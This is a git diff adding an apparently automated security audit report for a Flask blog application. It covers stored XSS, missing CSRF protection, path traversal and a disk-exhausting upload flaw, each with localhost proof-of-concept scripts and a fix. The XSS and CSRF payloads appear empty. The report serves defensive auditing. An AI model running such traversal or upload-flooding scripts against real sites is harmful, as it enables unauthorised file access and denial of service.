diff --git a/ai/security_report_2026-02-24_blog.md b/ai/security_report_2026-02-24_blog.md new file mode 100644 index 0000000..5ebdb57 --- /dev/null +++ b/ai/security_report_2026-02-24_blog.md @@ -0,0 +1,115 @@ +==== + +Auto Security Analysis of blog at 2026-02-24 +MEDIUM - Stored Cross-Site Scripting (XSS) +The application allows users with administrative privileges to create blog posts using Markdown. However, the rendered HTML is served using the `|safe` filter in Jinja2 templates without any prior sanitization. Since the `markdown2` library does not sanitize HTML by default, an attacker can inject malicious JavaScript into a post. This script will execute in the context of any user (including other administrators) who views the post, potentially leading to session hijacking or unauthorized actions. + +PoC +```python +import requests + +# Login as admin +session = requests.Session() +session.post("http://localhost:5000/login", data={"username": "admin", "password": "admin"}) + +# Create a post with a malicious script +payload = { + "title": "XSS Vulnerability", + "author": "attacker", + "tags": "test", + "content": "" +} +session.post("http://localhost:5000/create_post", data=payload) + +# When any user visits http://localhost:5000/post/XSS_Vulnerability, the script executes. +``` + +Fix +Use a library like `bleach` to sanitize the HTML generated by `markdown2` before passing it to the template, or enable sanitization features if available in the Markdown library. Remove the `|safe` filter if possible, or ensure the content is thoroughly sanitized. + +==== + +==== + +Auto Security Analysis of blog at 2026-02-24 +MEDIUM - Missing CSRF Protection +The application lacks Cross-Site Request Forgery (CSRF) protection on critical state-changing routes, including `/create_post`, `/upload/`, and `/login`. An attacker can craft a malicious website that, when visited by a logged-in administrator, submits a hidden form to the blog application. This can be used to create unauthorized posts, upload malicious files, or perform other administrative actions without the user's consent. + +PoC +```html + + + +
+ + + + +
+ + + +``` + +Fix +Implement CSRF protection using an extension like `Flask-WTF` or `Flask-SeaSurf`. This involves adding a unique, unpredictable token to each state-changing form and verifying it on the server side. + +==== + +==== + +Auto Security Analysis of blog at 2026-02-24 +MEDIUM - Path Traversal +The `/post/` route is vulnerable to path traversal because it uses `os.path.join` with a user-supplied `name` parameter without sufficient validation or sanitization. An attacker can use `../` sequences to attempt to read files outside the intended `articles/` directory, provided they have a `.md` extension. + +PoC +```python +import requests + +# Attempt to read the README.md file from the root directory +# This might require specific server configurations to pass slashes in the URL +response = requests.get("http://localhost:5000/post/../../README") +print(response.text) +``` + +Fix +Use `werkzeug.utils.secure_filename` to sanitize the `name` parameter before joining it with the base directory, or use `flask.safe_join` to ensure the resulting path remains within the intended directory. + +==== + +==== + +Auto Security Analysis of blog at 2026-02-24 +LOW - Temporary File Leakage / Denial of Service +The file upload mechanism in `/upload/` saves uploaded files to a temporary directory before processing them. If an uploaded file is not a valid image, the `utils.add_watermark` function raises an exception, causing the request to fail (500 error). In this case, the temporary file is never deleted. An attacker can exploit this by repeatedly uploading large non-image files to exhaust the server's disk space. + +PoC +```python +import requests + +session = requests.Session() +session.post("http://localhost:5000/login", data={"username": "admin", "password": "admin"}) + +# Upload a non-image file repeatedly +files = {'file': ('evil.md', b"Not an image" * 1000)} +for _ in range(100): + session.post("http://localhost:5000/upload/", files=files) + +# Each request leaves a file in the ./temp_uploads directory. +``` + +Fix +Ensure that temporary files are deleted even if an error occurs during processing. Use a `try...finally` block to guarantee the removal of the temporary file, or perform file type validation before saving the file to disk. + +==== + +## Summary of Vulnerabilities + +| Severity | Exploit Name | +|----------|--------------| +| MEDIUM | Stored Cross-Site Scripting (XSS) | +| MEDIUM | Missing CSRF Protection | +| MEDIUM | Path Traversal | +| LOW | Temporary File Leakage / Denial of Service |